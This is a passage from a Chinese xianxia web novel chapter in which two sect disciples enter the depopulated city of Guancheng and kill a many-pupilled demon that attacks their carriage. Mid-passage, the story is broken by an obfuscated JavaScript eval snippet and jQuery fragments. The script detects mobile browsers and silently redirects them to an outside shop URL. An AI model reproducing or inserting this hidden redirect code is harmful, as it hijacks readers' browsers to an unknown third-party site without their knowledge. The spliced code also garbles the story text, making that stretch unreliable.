温濯枝落地收剑,站在一群争先恐后逃离莞城的百姓前。
往外逃跑的人像惊慌失措的鹿群,挤出城门后便一哄而散,朝各个方向逃去。温濯枝逆着人流往上走,来到城门口。
城门口站着一排排官府的府兵,正大汗淋漓地维持百姓外出的秩序,甚至不忘插几句“大妈您怎么也要走啊?”“您家都在莞城多少年了,怎么也要走啊?”
温濯枝走上前,在望外的人流中有一个向内走的人,一下就吸引了府兵的注意。
府兵伸手将温濯枝拦住:“可有入城凭证?”
温濯枝一挑眉:“没有。”
府兵刚要厉声赶人,就见温濯枝从腰间取下一枚腰牌。
“但我有这个,你看可以吗?”
身后一阵微风袭来,温濯枝微微偏头,就见燕行回一袭白衣不染纤尘,戴着那银色面具,站在她身后。
府兵一下被二人镇住了。他看着温濯枝手上那刻着“天剑”二字的腰牌,立马反应过来。
“是天剑门的仙人来了!”他喜出望外,好像已经等了他们很久,“你们可算来了!我立马带你们去见知府大人!”
府兵立马将二人请进城中。
温濯枝在前,燕行回跟在她身后,两人就这么一前一后进了莞城。
刚一踏进莞城,温濯枝就感觉掌心开始灼热起来。
她低头看向掌心,发现上边不仅有她和燕行回的灵力波动,还有一些其他的编号。
【空间场力检测成功:编号B0001,代号“魔气”;编号00125,代号“燕行回”;编号01125,代号“温濯枝”;编号20045,代号“左垵”;编号18736,代号“舒筱”】
温濯枝一挑眉,不动声色看了看街道两边紧闭大门的店铺,然后看了一眼燕行回。
“这城中除了我们,还有藏念山庄的人。”
脑中传讯是个好东西,一般只有实力相近的人才能没什么障碍地交流,一旦一方实力高于另一方,都会导致另一方的识海被攻击。
燕行回是元婴,她也能达到元婴的水平,所以沟通起来十分方便。
燕行回眨眨眼,在脑中回复道:“可否知道是谁?”
“上回见过,还是那两人。”
燕行回面露疑惑:“月娇楼有他们,莞城又碰到了,难道他们也知道了魔物的异样?”
温濯枝耸耸肩:“我只会全力寻找魔物,把我知道的都告诉你,其他的我一概不管。”
燕行回点头,不再说话。
大街上没什么人,有也是背着包袱急匆匆往城门口去的。
照这个搬离的速度,不出几天,莞城就会成为一座彻头彻尾的空城。
温濯枝看向带路的府兵:“你们莞城死了所少人了?”
府兵一听这个就面露苦涩,眼里不觉含有泪花:“加上百姓和查案的官员,三个月来,总共遇害七百人了。”
温濯枝脚下一顿,震惊道:“三个月七百人?”她和燕行回对视一眼,显然对方也想不到事情会怎么棘手。
她追问道:“莞城总共有多少人口?”
府兵如实回答:“我们莞城中聚集着许多商人,这些商人常年走南闯北,不怎么在城里居住的。若只算城中的老百姓,统总五万人。”
“五万人……”
她腹诽道,这修真界的经济看来并不怎么样,如此一个金融要地,人口居然这么少。
燕行回看她低头想着什么,便开口问:“死的人除了普通百姓和官员,还有其他人吗?”
府兵咽了咽口水,声音有些颤抖:“有,莞城中不管是富贵人家,还是贫苦人家,都死了人。那东西,似乎见人就杀,从不在乎被杀的人是谁。”
温濯枝心里还是疑问重重,她不再提问,跟着府兵往里走。
走到一条宽阔的大街上,府兵带着二人走到一辆马车跟前,示意他们上车。
“后边到知府大人府邸的路很长,二位就坐马车前去吧。”
温濯枝歪头向外看了看,发现这条大街两边停着一排这样的马车,车夫的装扮看着却不像普通百姓,穿着的服饰华丽,举手投足间都透着一股贵气。
非常奇怪。
她看向府兵,他正在向这辆车的车夫说明他们的来历,托他将人带到知府大人的府邸。
温濯枝看着看着,突然笑出声。燕行回无奈地看着她,也不避讳有外人在场:“师妹收敛一些,别太明显了。”
温濯枝白他一眼:“事情都交给你解决,我不插手。”
燕行回点头,银色的面具在阳光下闪着点点光芒:“放心,不劳师妹费心。”
那边交涉好了之后,府兵过来告诉二人可以上车了,马车的费用他已经给过了。
两人不是什么道德高尚之人,也没跟他客气,见他这么说了,就顺理成章地上了车。
马车内装潢豪华,座位上铺着软垫,像是那种王公贵族出门专用的马车。
温濯枝和燕行回面对面坐着,半柱香后,温濯枝率先受不了,她抬手向旁边一挥,那边的木窗顺势打开,街景透过窗户映入眼帘。
温濯枝将手肘撑在一边的矮木桌上,歪着头看着外边只有零星几家还开张的店。温濯枝定睛一看,发现那是几家纸马店。
几家店一闪而过,温濯枝却觉得十分不对劲。
她知道燕行回也看到了,沉声问道:“你怎么看?”
燕行回手指有节奏地在膝盖上点着:“纸马店还开着门,说明城中还有人在办丧事。这城里五万人,要全部搬走,还是需要一些时间的。”
温濯枝:“这莞城,还真是奇怪。”
话音刚落,温濯枝就觉得整个马车剧烈摇晃了一下,她一把扶住马车的木框,和对面稳下来的燕行回对视一眼。
温濯枝笑了下:“说好了,你来解决,我不插手。”
燕行回手掌往上一抬,折扇出现在他掌中,他偏头,露出棱角分明的下颚线,眼里的玩笑褪去,满是让人胆颤的狠辣。
温濯枝愣住,她看到燕行回的眼眸逐渐从黝黑变成血红,他似乎感受到了巨大的危险。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598706|202267||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
与此同时,温濯枝的掌心被烫了一下。
她将手抬起来甩了甩,看清了掌心的提示。
【空间场力检测成功:编号B0001,代号“魔气”,覆盖。警告:覆盖,覆盖,覆盖】
温濯枝心下大惊,燕行回对魔气的感知速度,居然比法器还快。
“噬玉”在识海中被唤醒,出现在温濯枝手中。
燕行回看着现身的“噬玉”,朝她低笑:“师妹这是不信任我?”
“我还是习惯信任我自己。”
剧烈的抖动结束了,四周一片寂静,静到两人可以听到彼此的心跳声,一下一下,沉稳有力。
燕行回看着马车上出入的那块帘子,意念一动,将帘子掀了起来。
一双有八个瞳孔的眼睛直直与两人对上视线。
温濯枝:……
密密麻麻的瞳孔挤在一个眼眶里,正慢慢蠕动着,好似有了生命一般。
燕行回坐在原位,抬手挥出一阵剑气,将这臭东西震飞。
接着燕行回身形一闪,站在了马车跟前。
温濯枝在后边掀起帘子,从马车中探出头来,好整以暇地看着燕行回挺直的背影。
“燕师兄,加油啊,我可就靠你保护了。”
折扇应声而动,直直朝那魔物的脑门飞去。锋利的扇面划破空气,发出尖锐的鸣响,那魔物躲闪不及,脑门被折扇劈成两半。
温濯枝撇撇嘴,觉得场面实在有些血腥了。
她跳下马车,漫步走到燕行回,偏头观察他,发现他的眼睛已经恢复如初了。
“血眸?”温濯枝想了想,“我在古籍上见过。”
燕行回看着温濯枝,眼神没什么温度,神态很像之前在外人面前,他表演的那番冰冷。
温濯枝一怔,不知道这人哪里不高兴了。
她低头看了眼地上已经死了的怪物,掌心的温度降了下来。
“刚才那阵魔气,不是从它身上散发出来的。它背后还有更强大的魔物。”温濯枝回头嘲笑道,“师兄大招开早了。”
显然燕行回听不懂她在说什么,但是看表情就知道,不会是什么好话。
他眨眨眼,又恢复了先前的假笑,走到温濯枝身边,在魔物跟前蹲下。
“四瞳,师妹可认识这魔?”
温濯枝摇摇头,她对魔物没什么很深的了解,只知道这些东西常年蜗居在极寒之地,终年不见天日,按理来说,眼睛应该退化了才对,怎么会长出四个瞳孔来?
她将疑惑讲出来,燕行回也点点头,但他却不再说话,只是伸手握住折扇,将它从脑门上取下来,擦掉折扇上的血渍。
温濯枝伸手探了探,发觉这魔物身体里还残存着一些魔气,不转化白不转化。
也不管燕行回开口要说什么,她在掌心调出了转化的图标,慢慢将这魔物的最后一点魔气榨干。
等她完事儿之后,就见燕行回在一旁饶有兴趣地看着她:“这样一看,师妹确实不是什么好人,怪不得你不把祖师爷的话当回事。”